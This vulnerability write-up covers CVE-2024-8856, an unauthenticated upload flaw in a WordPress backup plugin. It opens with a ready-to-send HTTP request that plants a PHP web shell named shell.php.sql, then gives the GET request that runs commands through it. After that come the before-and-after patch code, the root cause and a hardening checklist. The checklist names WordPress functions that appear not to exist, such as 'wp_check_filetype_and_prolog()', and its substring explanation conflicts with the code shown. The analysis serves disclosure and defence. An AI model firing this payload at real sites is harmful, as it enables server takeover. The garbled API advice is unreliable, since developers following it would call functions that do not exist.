The Exploit
An unauthenticated attacker can upload a PHP file to the affected WordPress site by uploading a file with a double extension, such as shell.php.sql.
POST /wp-content/plugins/wp-tcapsule-bridge/upload/php/UploadHandler.php HTTP/1.1
Host: target-site.com
Content-Type: multipart/form-data; boundary=----Boundary123
------Boundary123
Content-Disposition: form-data; name="file"; filename="shell.php.sql"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------Boundary123--
When the request reaches the server, the old validation logic checks whether the filename contains the string .sql at the end, which it does. The file is written to disk. When a web server serves the file with PHP configured to execute .php before .sql, the PHP payload executes. An attacker observes a 200 response from the upload handler and can then trigger code execution by accessing the uploaded file with a GET parameter: GET /wp-content/uploads/shell.php.sql?cmd=id. The server executes the embedded PHP and returns the output of the id command.
What the Patch Did
Before
$allowed_extensions = array('.sql', '.gz', '.crypt');
$found = false;
foreach ($allowed_extensions as $extension) {
if(strrpos($file->name, $extension) + strlen($extension) === strlen($file->name)){
$found = true;
}
}
if (!$found) {
$file->error = $this->get_error_message('accept_file_types');
return false;
}
After
$mimes = array(
'sql' => 'application/sql',
'gz' => 'application/gzip',
'crypt' => 'application/octet-stream',
);
$allowed_extesions = ['sql', 'gz', 'crypt'];
$file_extension = pathinfo($file->name, PATHINFO_EXTENSION);
if(!in_array($file_extension, $allowed_extesions)){
$file->error = $this->get_error_message('accept_file_types');
return false;
}
The patch introduced proper extension extraction using pathinfo($file->name, PATHINFO_EXTENSION), which isolates the actual file extension (the substring after the final dot) rather than searching for a substring match anywhere in the filename. The fixed code then validates this extracted extension against a whitelist using in_array(), ensuring that only files ending in .sql, .gz, or .crypt are accepted. The old approach conflated substring matching with extension validation, allowing payloads like .php.sql to bypass the check.
Root Cause
CWE-434: Unrestricted Upload of File with Dangerous Type
The $file->name parameter arrives from user-supplied multipart form data. The old validation logic applied strrpos() to search for the last occurrence of each allowed extension string within the entire filename. This string-search approach treated the extension check as a substring match rather than a discrete suffix match, crossing a trust boundary without proper validation. An attacker crafted a filename containing a dangerous extension (e.g., .php) before a whitelisted extension (e.g., .sql), and the naive substring matching passed the file through. Once written to disk, the web server's extension-precedence rules or PHP's own parsing logic executed the dangerous extension first.
Why It Works
The load-bearing line is $file_extension = pathinfo($file->name, PATHINFO_EXTENSION);. This single line shifts the validation from substring matching to proper extension extraction. pathinfo() tokenizes the filename and extracts only the final extension; without it, the old code would still search for .sql anywhere in the string and pass .php.sql files. The subsequent in_array($file_extension, $allowed_extesions) then enforces the whitelist, but this check is only effective because the extension has been correctly isolated. The MIME type mapping ($mimes) added in the fixed code is not used in the validation logic shown, suggesting either incomplete implementation or a preparation for future server-side MIME validation—a defence-in-depth measure that would catch scenarios where an attacker bypasses extension checks through other means. Without the pathinfo() extraction, even the in_array() check would still fail if given a full filename instead of a single extension token.
Hardening Checklist
- Use
wp_check_filetype_and_prolog()instead of rolling custom extension validation. WordPress's built-in function compares uploaded files against thewp_allowed_mime_typesregistry and usespathinfo()internally, eliminating substring-match bugs. - Enforce whitelist validation on the extracted extension only, not the full filename. Always call
pathinfo($filename, PATHINFO_EXTENSION)before anyin_array()or regex check to ensure you are validating the true file extension. - Implement server-side MIME type validation using
finfo_file()ormime_content_type()after upload. Validate the file's actual magic bytes, not just its extension, to prevent polyglot attacks where a file masquerades as multiple types. - Store uploaded files outside the webroot or in a directory with
.htaccessrestrictions (e.g.,<FilesMatch "\.php$"> Deny from all </FilesMatch>). Even if a.php.sqlfile is uploaded, prevent the web server from executing it. - Use a unique, unpredictable filename after upload via
wp_generate_attachment_metadata()or similar, divorcing the stored filename from user input entirely, so that double-extension tricks have no effect.
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-8856